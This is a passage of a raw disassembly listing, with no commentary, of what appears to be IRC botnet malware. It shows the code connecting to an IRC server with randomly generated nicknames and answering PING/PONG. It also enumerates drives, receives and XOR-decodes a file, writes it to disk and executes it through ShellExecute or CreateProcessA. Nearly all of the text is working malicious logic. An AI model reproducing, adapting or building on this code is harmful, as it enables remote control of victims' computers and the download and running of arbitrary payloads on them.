call dword_4F1388 ; ExitThread
loc_414AE4: ; CODE XREF: sub_414A1D+68j
xor edi, edi
call dword_4F1364 ; GetTickCount
mov ebx, 7D000h
mov dword ptr [ebp+var_8+4], eax
push ebx
call sub_418ED0
pop ecx
mov [ebp+var_1C], eax
loc_414AFE: ; CODE XREF: sub_414A1D+1B4j
push 200h
lea eax, [ebp+var_510]
push esi
push eax
call sub_41B190
add esp, 0Ch
lea eax, [ebp+arg_0]
push eax
lea eax, [ebp+var_510]
push 200h
push eax
push [ebp+var_18]
call dword_4E07BC
cmp [ebp+var_34], esi
jz short loc_414B42
push [ebp+arg_0]
lea eax, [ebp+var_510]
push eax
call sub_414F0F
pop ecx
pop ecx
loc_414B42: ; CODE XREF: sub_414A1D+112j
lea eax, [ebp+var_24]
push esi
push eax
lea eax, [ebp+var_510]
push [ebp+arg_0]
push eax
push [ebp+var_20]
call dword_4F139C ; WriteFile
cmp edi, ebx
jnb short loc_414B80
mov eax, ebx
sub eax, edi
cmp eax, [ebp+arg_0]
jbe short loc_414B6A
mov eax, [ebp+arg_0]
loc_414B6A: ; CODE XREF: sub_414A1D+148j
push eax
lea eax, [ebp+var_510]
push eax
mov eax, [ebp+var_1C]
add eax, edi
push eax
call near ptr sub_41C8D0
add esp, 0Ch
loc_414B80: ; CODE XREF: sub_414A1D+13Fj
add edi, [ebp+arg_0]
cmp [ebp+var_3C], esi
jz short loc_414B8D
cmp edi, [ebp+var_3C]
ja short loc_414BD7
loc_414B8D: ; CODE XREF: sub_414A1D+169j
cmp [ebp+var_44], 1
mov eax, edi
jz short loc_414BA7
shr eax, 0Ah
push eax
lea eax, [ebp+var_248]
push eax
push offset unk_44E560
jmp short loc_414BB7
; ---------------------------------------------------------------------------
loc_414BA7: ; CODE XREF: sub_414A1D+176j
shr eax, 0Ah
push eax
lea eax, [ebp+var_248]
push eax
push offset unk_44E588
loc_414BB7: ; CODE XREF: sub_414A1D+188j
mov eax, [ebp+var_48]
imul eax, 234h
add eax, offset dword_4535C8
push eax
call sub_41B740
add esp, 10h
cmp [ebp+arg_0], esi
ja loc_414AFE
loc_414BD7: ; CODE XREF: sub_414A1D+16Ej
cmp [ebp+var_3C], esi
mov [ebp+var_14], 1
jz short loc_414C2C
cmp edi, [ebp+var_3C]
jz short loc_414C2C
push [ebp+var_3C]
lea eax, [ebp+var_510]
mov [ebp+var_14], esi
push edi
push offset unk_44E5B0
push eax
call sub_41B740
push esi
lea eax, [ebp+var_510]
push [ebp+var_2C]
push eax
lea eax, [ebp+var_2C8]
push eax
push [ebp+var_2CC]
call sub_408EB9
lea eax, [ebp+var_510]
push eax
call sub_41458A
add esp, 28h
loc_414C2C: ; CODE XREF: sub_414A1D+1C4j
; sub_414A1D+1C9j
call dword_4F1364 ; GetTickCount
sub eax, dword ptr [ebp+var_8+4]
xor edx, edx
mov ecx, 3E8h
push [ebp+var_20]
div ecx
xor edx, edx
mov ecx, eax
mov eax, edi
inc ecx
div ecx
mov ebx, eax
call dword_4F1324 ; CloseHandle
push [ebp+var_1C]
call sub_419940
cmp [ebp+var_38], esi
pop ecx
jz short loc_414CB6
lea eax, [ebp+var_148]
push eax
call sub_4010AB
cmp eax, [ebp+var_38]
pop ecx
jz short loc_414CB6
push [ebp+var_38]
mov [ebp+var_14], esi
push eax
lea eax, [ebp+var_510]
push offset unk_44E5DC
push eax
call sub_41B740
push esi
lea eax, [ebp+var_510]
push [ebp+var_2C]
push eax
lea eax, [ebp+var_2C8]
push eax
push [ebp+var_2CC]
call sub_408EB9
lea eax, [ebp+var_510]
push eax
call sub_41458A
add esp, 28h
loc_414CB6: ; CODE XREF: sub_414A1D+241j
; sub_414A1D+253j
cmp [ebp+var_14], esi
jz loc_414EF6
cmp [ebp+var_44], 1
jz loc_414DB1
mov dword ptr [ebp+var_8], ebx
mov dword ptr [ebp+var_8+4], esi
fild [ebp+var_8]
push ecx
push ecx
mov dword ptr [ebp+var_8], edi
mov dword ptr [ebp+var_8+4], esi
fmul dbl_437490
lea eax, [ebp+var_148]
fstp [esp+584h+var_584]
fild [ebp+var_8]
push eax
push ecx
push ecx
lea eax, [ebp+var_510]
fmul dbl_437490
fstp [esp+590h+var_590]
push offset unk_44E604
push eax
call sub_41B740
add esp, 1Ch
cmp [ebp+var_30], esi
jnz short loc_414D31
push esi
lea eax, [ebp+var_510]
push [ebp+var_2C]
push eax
lea eax, [ebp+var_2C8]
push eax
push [ebp+var_2CC]
call sub_408EB9
add esp, 14h
loc_414D31: ; CODE XREF: sub_414A1D+2F2j
lea eax, [ebp+var_510]
push eax
call sub_41458A
cmp [ebp+var_40], 1
pop ecx
jnz loc_414EF6
push 5
push esi
lea eax, [ebp+var_148]
push esi
push eax
push offset aOpen_2 ; "open"
push esi
call dword_4E0818
cmp [ebp+var_30], esi
jnz loc_414EF6
lea eax, [ebp+var_148]
push eax
lea eax, [ebp+var_510]
push offset dword_44E644
push eax
call sub_41B740
push esi
lea eax, [ebp+var_510]
push [ebp+var_2C]
push eax
lea eax, [ebp+var_2C8]
push eax
push [ebp+var_2CC]
call sub_408EB9
lea eax, [ebp+var_510]
push eax
call sub_41458A
add esp, 24h
jmp loc_414EF6
; ---------------------------------------------------------------------------
loc_414DB1: ; CODE XREF: sub_414A1D+2A6j
mov dword ptr [ebp+var_8], ebx
mov dword ptr [ebp+var_8+4], esi
fild [ebp+var_8]
push ecx
push ecx
mov dword ptr [ebp+var_8], edi
mov dword ptr [ebp+var_8+4], esi
fmul dbl_437490
lea eax, [ebp+var_148]
fstp [esp+584h+var_584]
fild [ebp+var_8]
push eax
push ecx
push ecx
lea eax, [ebp+var_510]
fmul dbl_437490
fstp [esp+590h+var_590]
push offset unk_44E660
push eax
call sub_41B740
add esp, 1Ch
cmp [ebp+var_30], esi
jnz short loc_414E19
push esi
lea eax, [ebp+var_510]
push [ebp+var_2C]
push eax
lea eax, [ebp+var_2C8]
push eax
push [ebp+var_2CC]
call sub_408EB9
add esp, 14h
loc_414E19: ; CODE XREF: sub_414A1D+3DAj
lea eax, [ebp+var_510]
push eax
call sub_41458A
push 10h
lea eax, [ebp+var_10]
push esi
push eax
call sub_41B190
push 44h
lea eax, [ebp+var_310]
pop edi
push edi
push esi
push eax
call sub_41B190
add esp, 1Ch
loc_414E45: ; DATA XREF: .nsp0:0045200Co
mov [ebp+var_310], edi
lea eax, [ebp+var_10]
mov [ebp+var_304], offset dword_4E8570
push 1
mov [ebp+var_2E0], si
pop edi
push eax
lea eax, [ebp+var_310]
push eax
push esi
push esi
push 28h
push esi
push esi
lea eax, [ebp+var_148]
push esi
push eax
push esi
mov [ebp+var_2E4], edi
call dword_4F1328 ; CreateProcessA
cmp eax, edi
jnz short loc_414E9B
call dword_4E0804
call sub_41615A
push esi
call dword_4F1320 ; ExitProcess
loc_414E9B: ; CODE XREF: sub_414A1D+46Aj
lea eax, [ebp+var_148]
push eax
push offset unk_44E6A4
jmp short loc_414EB5
; ---------------------------------------------------------------------------
loc_414EA9: ; CODE XREF: sub_414A1D+45j
lea eax, [ebp+var_248]
push eax
push offset unk_44E6D8
loc_414EB5: ; CODE XREF: sub_414A1D+48Aj
lea eax, [ebp+var_510]
push eax
call sub_41B740
add esp, 0Ch
cmp [ebp+var_30], esi
jnz short loc_414EE9
push esi
lea eax, [ebp+var_510]
push [ebp+var_2C]
push eax
lea eax, [ebp+var_2C8]
push eax
push [ebp+var_2CC]
call sub_408EB9
add esp, 14h
loc_414EE9: ; CODE XREF: sub_414A1D+4AAj
lea eax, [ebp+var_510]
push eax
call sub_41458A
pop ecx
loc_414EF6: ; CODE XREF: sub_414A1D+29Cj
; sub_414A1D+325j ...
push [ebp+var_18]
call dword_4E08D0
push [ebp+var_48]
call sub_40AB19
pop ecx
push esi
call dword_4F1388 ; ExitThread
sub_414A1D endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_414F0F proc near ; CODE XREF: sub_414A1D+11Ep
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_0]
xor ecx, ecx
cmp [esp+arg_4], ecx
jle short locret_414F2B
loc_414F1B: ; CODE XREF: sub_414F0F+1Aj
mov dl, byte_43A094
xor [ecx+eax], dl
inc ecx
cmp ecx, [esp+arg_4]
jl short loc_414F1B
locret_414F2B: ; CODE XREF: sub_414F0F+Aj
retn
sub_414F0F endp
; =============== S U B R O U T I N E =======================================
sub_414F2C proc near ; CODE XREF: sub_401CC1+5005p
; sub_401CC1+5137p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push [esp+arg_4]
push [esp+4+arg_0]
call sub_41DEA0
pop ecx
pop ecx
xor ecx, ecx
cmp eax, 0FFFFFFFFh
setnz cl
mov eax, ecx
retn
sub_414F2C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_414F46 proc near ; CODE XREF: sub_40F483+45Dp
; sub_40F483+5F9p ...
var_38 = byte ptr -38h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 38h
and [ebp+var_4], 0
push ebx
push esi
push edi
push 32h
mov edi, offset dword_4E8574
push 0
push edi
call sub_41B190
mov ebx, [ebp+arg_0]
add esp, 0Ch
lea esi, [ebp+var_38]
loc_414F6B: ; CODE XREF: sub_414F46+5Bj
; sub_414F46+61j
push 0
push 0Ah
push [ebp+arg_4]
push ebx
call sub_41DF70
push 0
push 0Ah
push [ebp+arg_4]
add al, 30h
mov [esi], al
inc esi
push ebx
call sub_41DF00
mov ebx, eax
or eax, edx
mov [ebp+arg_4], edx
jz short loc_414FA9
inc [ebp+var_4]
push 3
mov eax, [ebp+var_4]
pop ecx
cdq
idiv ecx
test edx, edx
jnz short loc_414F6B
mov byte ptr [esi], 2Ch
inc esi
jmp short loc_414F6B
; ---------------------------------------------------------------------------
loc_414FA9: ; CODE XREF: sub_414F46+4Bj
dec esi
mov eax, edi
loc_414FAC: ; CODE XREF: sub_414F46+73j
lea ecx, [ebp+var_38]
cmp esi, ecx
jb short loc_414FBB
mov cl, [esi]
mov [eax], cl
inc eax
dec esi
jmp short loc_414FAC
; ---------------------------------------------------------------------------
loc_414FBB: ; CODE XREF: sub_414F46+6Bj
and byte ptr [eax], 0
mov eax, edi
pop edi
pop esi
pop ebx
leave
retn
sub_414F46 endp
; =============== S U B R O U T I N E =======================================
sub_414FC5 proc near ; CODE XREF: sub_41517A+51p
; sub_41517A+87p
arg_0 = dword ptr 4
push [esp+arg_0]
call dword_4E08FC
sub eax, 0
jz short loc_415008
dec eax
jz short loc_415002
dec eax
dec eax
jz short loc_414FFC
dec eax
jz short loc_414FF6
dec eax
jz short loc_414FF0
dec eax
jz short loc_414FEA
mov eax, offset dword_44E730
retn
; ---------------------------------------------------------------------------
loc_414FEA: ; CODE XREF: sub_414FC5+1Dj
mov eax, offset off_44E72C
retn
; ---------------------------------------------------------------------------
loc_414FF0: ; CODE XREF: sub_414FC5+1Aj
mov eax, offset aCdrom ; "Cdrom"
retn
; ---------------------------------------------------------------------------
loc_414FF6: ; CODE XREF: sub_414FC5+17j
mov eax, offset aNetwork ; "Network"
retn
; ---------------------------------------------------------------------------
loc_414FFC: ; CODE XREF: sub_414FC5+14j
mov eax, offset aDisk ; "Disk"
retn
; ---------------------------------------------------------------------------
loc_415002: ; CODE XREF: sub_414FC5+10j
mov eax, offset aInvalid ; "Invalid"
retn
; ---------------------------------------------------------------------------
loc_415008: ; CODE XREF: sub_414FC5+Dj
mov eax, offset aUnknown ; "Unknown"
retn
sub_414FC5 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41500E proc near ; CODE XREF: sub_415056+12p
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 18h
or eax, 0FFFFFFFFh
mov [ebp+var_18], eax
mov [ebp+var_14], eax
mov [ebp+var_10], eax
mov [ebp+var_C], eax
mov [ebp+var_8], eax
mov [ebp+var_4], eax
mov eax, dword_4E07A0
test eax, eax
jz short loc_415043
lea ecx, [ebp+var_10]
push ecx
lea ecx, [ebp+var_8]
push ecx
lea ecx, [ebp+var_18]
push ecx
push [ebp+arg_4]
call eax
loc_415043: ; CODE XREF: sub_41500E+22j
mov eax, [ebp+arg_0]
push esi
push edi
push 6
pop ecx
lea esi, [ebp+var_18]
mov edi, eax
rep movsd
pop edi
pop esi
leave
retn
sub_41500E endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_415056 proc near ; CODE XREF: sub_41517A+17p
; sub_41897B+1F3p
var_198 = byte ptr -198h
var_118 = byte ptr -118h
var_98 = byte ptr -98h
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 198h
push esi
push edi
push [ebp+arg_4]
lea eax, [ebp+var_18]
push eax
call sub_41500E
pop ecx
mov esi, eax
pop ecx
lea edi, [ebp+var_18]
push 6
pop ecx
rep movsd
mov eax, [ebp+var_18]
and eax, [ebp+var_14]
cmp eax, 0FFFFFFFFh
jz loc_415130
mov eax, [ebp+var_10]
and eax, [ebp+var_C]
cmp eax, 0FFFFFFFFh
jz loc_415130
mov eax, [ebp+var_8]
and eax, [ebp+var_4]
cmp eax, 0FFFFFFFFh
jz loc_415130
mov edi, 400h
push 0
push edi
push [ebp+var_14]
push [ebp+var_18]
call sub_41DFF0
push edx
push eax
call sub_414F46
push eax
mov esi, 80h
push offset aSkb ; "%sKB"
lea eax, [ebp+var_198]
push esi
push eax
call sub_41B910
add esp, 18h
push 0
push edi
push [ebp+var_C]
push [ebp+var_10]
call sub_41DFF0
push edx
push eax
call sub_414F46
push eax
push offset aSkb_0 ; "%sKB"
lea eax, [ebp+var_118]
push esi
push eax
call sub_41B910
add esp, 18h
push 0
push edi
push [ebp+var_4]
push [ebp+var_8]
call sub_41DFF0
push edx
push eax
call sub_414F46
push eax
push offset aSkb_1 ; "%sKB"
lea eax, [ebp+var_98]
push esi
push eax
call sub_41B910
jmp short loc_415163
; ---------------------------------------------------------------------------
loc_415130: ; CODE XREF: sub_415056+2Cj
; sub_415056+3Bj ...
lea eax, [ebp+var_198]
push offset aFailed ; "failed"
push eax
call sub_41B740
lea eax, [ebp+var_118]
push offset aFailed_0 ; "failed"
push eax
call sub_41B740
lea eax, [ebp+var_98]
push offset aFailed_1 ; "failed"
push eax
call sub_41B740
loc_415163: ; CODE XREF: sub_415056+D8j
mov eax, [ebp+arg_0]
add esp, 18h
lea esi, [ebp+var_198]
mov edi, eax
push 60h
pop ecx
rep movsd
pop edi
pop esi
leave
retn
sub_415056 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41517A proc near ; CODE XREF: sub_41524C+17p
; sub_41524C+60p
var_500 = byte ptr -500h
var_300 = byte ptr -300h
var_180 = byte ptr -180h
var_100 = byte ptr -100h
var_80 = byte ptr -80h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 500h
push ebx
mov ebx, [ebp+arg_C]
push esi
push edi
lea eax, [ebp+var_300]
push ebx
push eax
call sub_415056
push 60h
mov esi, eax
pop ecx
lea edi, [ebp+var_300]
rep movsd
push 60h
lea esi, [ebp+var_300]
pop ecx
lea edi, [ebp+var_180]
lea eax, [ebp+var_80]
push offset aFailed_2 ; "failed"
rep movsd
push eax
call sub_41C4C0
add esp, 10h
test eax, eax
jnz short loc_4151ED
push ebx
push ebx
call sub_414FC5
pop ecx
push eax
push offset unk_44E76C
lea eax, [ebp+var_500]
push 200h
push eax
call sub_41B910
add esp, 14h
jmp short loc_415221
; ---------------------------------------------------------------------------
loc_4151ED: ; CODE XREF: sub_41517A+4Dj
lea eax, [ebp+var_180]
push eax
lea eax, [ebp+var_100]
push eax
lea eax, [ebp+var_80]
push eax
push ebx
push ebx
call sub_414FC5
pop ecx
push eax
push offset unk_44E7A8
lea eax, [ebp+var_500]
push 200h
push eax
call sub_41B910
add esp, 20h
loc_415221: ; CODE XREF: sub_41517A+71j
push 1
lea eax, [ebp+var_500]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_408EB9
lea eax, [ebp+var_500]
push eax
call sub_41458A
loc_415244: ; DATA XREF: .nsp0:00451ED8o
; .nsp0:00451EE0o
add esp, 18h
pop edi
pop esi
pop ebx
leave
retn
sub_41517A endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41524C proc near ; CODE XREF: sub_401CC1+2088p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push ebx
xor ebx, ebx
cmp [ebp+arg_C], ebx
jz short loc_41526D
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
call sub_41517A
add esp, 10h
jmp short loc_4152CE
; ---------------------------------------------------------------------------
loc_41526D: ; CODE XREF: sub_41524C+9j
push esi
push edi
push ebx
push ebx
call dword_4E0814
lea esi, [eax+2]
push esi
call sub_418ED0
pop ecx
mov edi, eax
push edi
push esi
call dword_4E0814
cmp [edi], bl
mov esi, edi
jz short loc_4152C5
loc_415291: ; CODE XREF: sub_41524C+77j
push offset aA_3 ; "A:\\"
push esi
call sub_41C4C0
pop ecx
test eax, eax
pop ecx
jz short loc_4152B4
push esi
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
call sub_41517A
add esp, 10h
loc_4152B4: ; CODE XREF: sub_41524C+54j
push esi
call sub_418D00
cmp [esi+eax+1], bl
lea esi, [esi+eax+1]
pop ecx
jnz short loc_415291
loc_4152C5: ; CODE XREF: sub_41524C+43j
push edi
call sub_419940
pop ecx
pop edi
pop esi
loc_4152CE: ; CODE XREF: sub_41524C+1Fj
pop ebx
pop ebp
retn
sub_41524C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4152D1 proc near ; CODE XREF: sub_415497+2Fp
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_C = dword ptr -0Ch
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 10h
push esi
push edi
push 0
push 1
push 2
call dword_4E091C
mov edi, eax
or esi, 0FFFFFFFFh
cmp edi, esi
jz short loc_41534D
push 10h
lea eax, [ebp+var_10]
push 0
push eax
call sub_41B190
add esp, 0Ch
mov [ebp+var_10], 2
push [ebp+arg_4]
call dword_4E08A0
push [ebp+arg_0]
mov [ebp+var_E], ax
call dword_4E08DC
cmp eax, esi
jnz short loc_415332
push [ebp+arg_0]
call dword_4E0920
test eax, eax
jz short loc_41534D
mov eax, [eax+0Ch]
mov eax, [eax]
mov eax, [eax]
loc_415332: ; CODE XREF: sub_4152D1+4Bj
mov [ebp+var_C], eax
lea eax, [ebp+var_10]
push 10h
push eax
push edi
call dword_4E084C
cmp eax, esi
loc_415344: ; DATA XREF: .nsp0:00452140o
jnz short loc_415351
push edi
call dword_4E0934
loc_41534D: ; CODE XREF: sub_4152D1+1Bj
; sub_4152D1+58j
mov eax, esi
jmp short loc_415353
; ---------------------------------------------------------------------------
loc_415351: ; CODE XREF: sub_4152D1:loc_415344j
mov eax, edi
loc_415353: ; CODE XREF: sub_4152D1+7Ej
pop edi
pop esi
locret_415355: ; DATA XREF: .nsp0:0045232Co
leave
retn
sub_4152D1 endp
; =============== S U B R O U T I N E =======================================
sub_415357 proc near ; CODE XREF: sub_401CC1+2CF6p
; sub_401CC1+2D5Dp ...
arg_0 = dword ptr 4
push esi
push edi
mov edi, [esp+8+arg_0]
push offset asc_44F464 ; "\n"
push edi
call sub_41C310
pop ecx
mov esi, offset dword_4E85B4
pop ecx
loc_41536F: ; CODE XREF: sub_415357+42j
cmp dword ptr [esi-4], 1
jnz short loc_41538D
cmp dword ptr [esi], 0
jbe short loc_41538D
push 0
push edi
call sub_418D00
pop ecx
push eax
push edi
push dword ptr [esi]
call dword_4E08EC
loc_41538D: ; CODE XREF: sub_415357+1Cj
; sub_415357+21j
add esi, 210h
cmp esi, offset dword_4EECD4
jl short loc_41536F
pop edi
pop esi
retn
sub_415357 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41539E proc near ; CODE XREF: sub_415497+152p
var_420 = byte ptr -420h
var_220 = byte ptr -220h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 420h
push ebx
push esi
push edi
push offset asc_44F468 ; " "
push [ebp+arg_0]
call sub_41C550
pop ecx
mov [ebp+var_20], eax
pop ecx
lea esi, [ebp+var_1C]
push 7
xor ebx, ebx
pop edi
loc_4153C4: ; CODE XREF: sub_41539E+39j
push offset asc_44F46C ; " "
push ebx
call sub_41C550
mov [esi], eax
pop ecx
add esi, 4
dec edi
pop ecx
jnz short loc_4153C4
cmp [ebp+var_20], ebx
mov esi, [ebp+var_1C]
jnz short loc_4153ED
cmp esi, ebx
jnz short loc_4153ED
push 1
pop eax
jmp loc_415492
; ---------------------------------------------------------------------------
loc_4153ED: ; CODE XREF: sub_41539E+41j
; sub_41539E+45j
push [ebp+var_20]
push offset aPing_1 ; "PING"
call sub_41C4C0
pop ecx
pop ecx
test eax, eax
push esi
jnz short loc_415417
lea eax, [ebp+var_220]
push offset aPongS_0 ; "PONG %s\n"
push eax
call sub_41B740
add esp, 0Ch
jmp short loc_415471
; ---------------------------------------------------------------------------
loc_415417: ; CODE XREF: sub_41539E+61j
push offset a433 ; "433"
call sub_41C4C0
pop ecx
test eax, eax
pop ecx
jz short loc_415438
push esi
push offset a432 ; "432"
call sub_41C4C0
pop ecx
test eax, eax
pop ecx
jnz short loc_415490
loc_415438: ; CODE XREF: sub_41539E+87j
push 200h
lea eax, [ebp+var_420]
push ebx
push eax
call sub_41B190
lea eax, [ebp+var_420]
push eax
call sub_4156B7
lea eax, [ebp+var_420]
push eax
lea eax, [ebp+var_220]
push offset aNickS_8 ; "NICK %s\n"
push eax
call sub_41B740
add esp, 1Ch
loc_415471: ; CODE XREF: sub_41539E+77j
lea eax, [ebp+var_220]
push ebx
push eax
call sub_418D00
pop ecx
push eax
lea eax, [ebp+var_220]
push eax
push [ebp+arg_4]
call dword_4E08EC
loc_415490: ; CODE XREF: sub_41539E+98j
xor eax, eax
loc_415492: ; CODE XREF: sub_41539E+4Aj
pop edi
pop esi
pop ebx
leave
retn
sub_41539E endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_415497 proc near ; DATA XREF: sub_415639+61o
var_4008 = byte ptr -4008h
var_3008 = byte ptr -3008h
var_2008 = byte ptr -2008h
var_1008 = byte ptr -1008h
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, 4008h
call sub_41BC60
push ebx
push esi
mov esi, [ebp+arg_0]
push edi
imul esi, 210h
push 1
pop edi
lea eax, dword_4E85BC[esi]
mov dword_4E85B0[esi], edi
push dword_4E87BC[esi]
push eax
call sub_4152D1
pop ecx
xor ebx, ebx
cmp eax, edi
pop ecx
mov dword_4E85B4[esi], eax
jb loc_415619
mov edi, 1000h
lea eax, [ebp+var_2008]
push edi
push ebx
push eax
call sub_41B190
lea eax, [ebp+var_2008]
push eax
call sub_4156B7
lea eax, [ebp+var_4008]
push eax
call sub_4156B7
lea eax, [ebp+var_3008]
push eax
call sub_4156B7
lea eax, [ebp+var_3008]
push eax
lea eax, [ebp+var_4008]
push eax
lea eax, [ebp+var_2008]
push eax
lea eax, [ebp+var_1008]
push offset aNickSUserSHotm ; "NICK %s\nUSER %s \"hotmail.com\" \"127.0.0."...
push eax
call sub_41B740
add esp, 2Ch
lea eax, [ebp+var_1008]
push ebx
push eax
call sub_418D00
pop ecx
push eax
lea eax, [ebp+var_1008]
push eax
push dword_4E85B4[esi]
call dword_4E08EC
push edi
lea eax, [ebp+var_1008]
push ebx
push eax
call sub_41B190
add esp, 0Ch
loc_415570: ; CODE XREF: sub_415497+10Ej
; sub_415497+17Dj
push edi
lea eax, [ebp+var_1008]
push ebx
push eax
call sub_41B190
add esp, 0Ch
lea eax, [ebp+var_1008]
push ebx
push edi
push eax
push dword_4E85B4[esi]
call dword_4E08B8
cmp eax, ebx
mov [ebp+var_8], eax
jle short loc_415619
xor eax, eax
cmp [ebp+var_8], ebx
mov [ebp+var_4], eax
jz short loc_415570
loc_4155A7: ; CODE XREF: sub_415497+17Bj
mov al, [ebp+eax+var_1008]
cmp al, 0Dh
jz short loc_4155CE
cmp al, 0Ah
jz short loc_4155CE
cmp [ebp+arg_0], 0FA0h
jz short loc_4155CE
mov ecx, [ebp+arg_0]
inc [ebp+arg_0]
mov [ebp+ecx+var_2008], al
jmp short loc_415608
; ---------------------------------------------------------------------------
loc_4155CE: ; CODE XREF: sub_415497+119j
; sub_415497+11Dj ...
mov eax, [ebp+arg_0]
cmp eax, ebx
jz short loc_415608
push dword_4E85B4[esi]
mov [ebp+eax+var_2008], bl
lea eax, [ebp+var_2008]
push eax
call sub_41539E
pop ecx
test eax, eax
pop ecx
ja short loc_415619
push edi
lea eax, [ebp+var_2008]
push ebx
push eax
call sub_41B190
add esp, 0Ch
mov [ebp+arg_0], ebx
loc_415608: ; CODE XREF: sub_415497+135j
; sub_415497+13Cj
mov eax, [ebp+var_4]
inc eax
cmp eax, [ebp+var_8]
mov [ebp+var_4], eax
jnz short loc_4155A7
jmp loc_415570
; ---------------------------------------------------------------------------
loc_415619: ; CODE XREF: sub_415497+40j
; sub_415497+104j ...
mov dword_4E85B0[esi], ebx
mov esi, dword_4E85B4[esi]
cmp esi, ebx
jbe short loc_415630
push esi
call dword_4E0934
loc_415630: ; CODE XREF: sub_415497+190j
pop edi
pop esi
xor eax, eax
pop ebx
leave
retn 4
sub_415497 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_415639 proc near ; CODE XREF: sub_401CC1+2C4Bp
var_8 = byte ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
xor ebx, ebx
cmp [ebp+arg_8], ebx
push esi
push edi
mov [ebp+var_4], ebx
jle short loc_4156B2
loc_41564B: ; CODE XREF: sub_415639+77j
xor edi, edi
mov eax, offset dword_4E85B0
loc_415652: ; CODE XREF: sub_415639+28j
cmp [eax], ebx
jz short loc_415663
add eax, 210h
inc edi
cmp eax, offset dword_4EECD0
jl short loc_415652
loc_415663: ; CODE XREF: sub_415639+1Bj
cmp edi, 31h
jz short loc_4156B2
mov esi, edi
push [ebp+arg_0]
imul esi, 210h
lea eax, dword_4E85BC[esi]
push eax
call sub_41C300
mov eax, [ebp+arg_4]
pop ecx
mov dword_4E87BC[esi], eax
pop ecx
lea eax, [ebp+var_8]
mov dword_4E85B0[esi], 1
push eax
push ebx
push edi
push offset sub_415497
push ebx
push ebx
call dword_4F1338 ; CreateThread
inc [ebp+var_4]
mov eax, [ebp+var_4]
cmp eax, [ebp+arg_8]
jl short loc_41564B
loc_4156B2: ; CODE XREF: sub_415639+10j
; sub_415639+2Dj
pop edi
pop esi
pop ebx
leave
retn
sub_415639 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4156B7 proc near ; CODE XREF: sub_401CC1+3194p
; sub_401CC1+31DBp ...
var_40 = byte ptr -40h
var_2D = byte ptr -2Dh
var_2C = byte ptr -2Ch
var_2B = byte ptr -2Bh
var_18 = qword ptr -18h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 40h
push 14h
lea eax, [ebp+var_2C]
push 0
push eax
call sub_41B190
add esp, 0Ch
call sub_41B850
mov [ebp+var_C], eax
fild [ebp+var_C]
fmul dbl_4374D8
call sub_41CEBC
cmp eax, 1
jnz short loc_415701
call sub_41B850
call sub_41B850
push 66h
cdq
pop ecx
idiv ecx
push off_44EAE8[edx*4]
jmp short loc_41571A
; ---------------------------------------------------------------------------
loc_415701: ; CODE XREF: sub_4156B7+2Fj
call sub_41B850
call sub_41B850
cdq
mov ecx, 0C0h
idiv ecx
push off_44E7E8[edx*4]
loc_41571A: ; CODE XREF: sub_4156B7+48j
lea eax, [ebp+var_2C]
push eax
call sub_41C300
pop ecx
lea eax, [ebp+var_2C]
pop ecx
push ebx
push esi
push edi
push eax
call sub_418D00
pop ecx
mov esi, eax
push 13h
mov [ebp+var_4], esi
pop eax
sub eax, esi
mov [ebp+var_C], eax
call sub_41B850
mov dword ptr [ebp+var_18+4], eax
fild dword ptr [ebp+var_18+4]
fmul dbl_4374D0
call sub_41CEBC
mov ebx, eax
call sub_41B850
mov dword ptr [ebp+var_18+4], eax
fild dword ptr [ebp+var_18+4]
fimul [ebp+var_4]
fmul dbl_4374C8
call sub_41CEBC
cmp esi, 2
mov edi, offset a__2 ; "-|`_\\{[]}"
jle short loc_41578D
cmp esi, 3
jnz short loc_415784
cmp ebx, 1
jz short loc_41578D
loc_415784: ; CODE XREF: sub_4156B7+C6j
cmp eax, 1
jnz loc_415847
loc_41578D: ; CODE XREF: sub_4156B7+C1j
; sub_4156B7+CBj
call sub_41B850
mov dword ptr [ebp+var_18+4], eax
